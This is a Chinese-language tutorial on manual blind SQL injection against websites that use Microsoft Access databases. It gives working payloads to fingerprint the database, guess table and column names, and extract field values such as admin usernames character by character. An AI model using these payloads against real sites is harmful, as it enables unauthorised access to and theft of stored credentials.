Access手動註入實戰
註入ACCESS時,不能和MYSQL一樣可以把表名爆出,只能一個一個去猜。
1.找到網站後,查看是否為ACCESS數據庫。
構造payload URL+ and exists (select id from mysysaccessobjects) 返回正確,則為access數據庫。
and (select count(*) from msysobjects)>0 –返回權限不足為access數據庫
and (select count(*) from sysobjects)>0 –返回正常則為MSSQL數據庫
想法設法讓他報錯,錯誤信息中包含數據庫信息。
2.進行and 1=1(顯示正常) 與and1=2(報錯)確實是註入點。
3.URL + and 0<=(select count(*) from admin) and 1<2 查看返回結果,發現出錯。說明沒有admin這個表。 (使用參見的表名進行猜測) and (select count(*) from admin) 即可
4.URL + and 0<=(select count(*) from manage) and 1<2 查看返貨結果,反正正確頁面。說明數據庫中含有manage這個表。 and (select count(*) from manage)
一個一個去嘗試看看別的表名是什麽。
5.確定manage這個表的存在,然後接下來判斷表內有多少條記錄數
payload: and (select count(*) from 猜到的表名)>X
(X是個數字,>我們也可以替換為=或<)。
嘗試: and (select count(*) from manage)>0 看是否返回正確頁面。正確說明有 >0的記錄數。然後繼續修改X 確定有多少條記錄數。 這裏測試後只有一條記錄。
6.知道manage 表中只有一個記錄也就是只有一個列。然後猜測列名。
payload : (select count(username) from manage) 猜測manage表中是否有username這個列。 然後把username 換成一些常用的password id等等去測試。
7.知道列名後,然後猜測字段長度。
payload:使用語句and (select top 1 len(列) from 表)>X,`select top 1`是查詢第一條數據的意思。(查詢第二條字段長度必須先把第一條的字段值判斷出來)
payload:and (select top 1 len(username) from manage)>4 返回正確頁面,說明第一個字段大於4
payload:and (select top 1 len(username) from manage)>5 返回錯誤頁面,說明第一個字段小於5 。結合說明第一個字段長度為5
8.
判斷字段值
payload:and (select top 1 asc(mid(字段名,X,1)) from 表名)>N,這個句子裏的N和X都是數字。top 1還是是查詢第一條數據的意思。
asc()這個函數是用來得到()裏的字符串的 ASCII碼(什麽是ASCII碼呢?計算機內部采用二進制的方式計數,那麽它為什麽又能識別十進制數和各種字符、圖形呢?
其實,不論是數值數據還是文字、圖形等,在計算機內部都采用了一種編碼標準。通過編碼標準可以把它轉換成二進制數來進行處理,計算機將這些信息處理完畢再轉換成可視的信息顯示出來。常用的字符代碼是 ASCII碼,它原來是美國的國家標準,
1967年被定為國際標準。),比如a所對應的ASCII碼就是97。
mid(字段名,A, N),這個函數是用來截取()裏的字段從第A個長度起往後截取N個字,比如mid(username,2,3)就表示從username字段中從第二個字符向後截取3位,包括第二個字符,比如值為admin,截取的就是dmi。我們上面使用mid(字段名,X,1),
最後面那個數字是1,但前面還有個asc()函數,asc()這個函數一下就只把一個字符轉換成ASCII碼,所以我們用mid()函數來截取列值的時候只截取一位。
構造payload: and (select top 1 asc(mid(username,1,1)) from manage)>96 頁面返回正常頁面 說明username列中的第一個字段往後的一位大於 96(轉碼之後)
and (select top 1 asc(mid(username,1,1)) from manage)>97 頁面返回錯誤頁面,說明username列中的第一字段往後的一位不大於97(轉碼之後)。說明是97 ASCII轉碼之後是a
然後在構造payload :and (select top 1 asc(mid(username,2,1)) from manage)>97 繼續猜測第二個字段。使用這個方法繼續猜測之後的字段。能把所有的字段都爆出來。
9. 有時候,我們會碰到漢字的數據,比如username中數據就是“管理員”,這時就不能使用ASCII碼了
10.用逐字猜解列值的方 法,有的時候是 >0 頁面還是返回錯誤!不大於0就說晚這個值的ASCII碼是負數,也就是漢字!這個時候我們要想得到它的ASCII碼,就要用到一個函數了!abs()這個 函數是用來返回一個值的絕對值的!我們只要把這個函數加在句子裏,就可以按照平常的方法猜ASCII碼了。具體是這麽加的:and (select top 1 abs(asc(mid(列,X,1))) from admin)>N
就是這樣了,不過等猜出來後不要忘了加負號。
11.聯合查詢也可以嘗試猜測。
Access手動註入實戰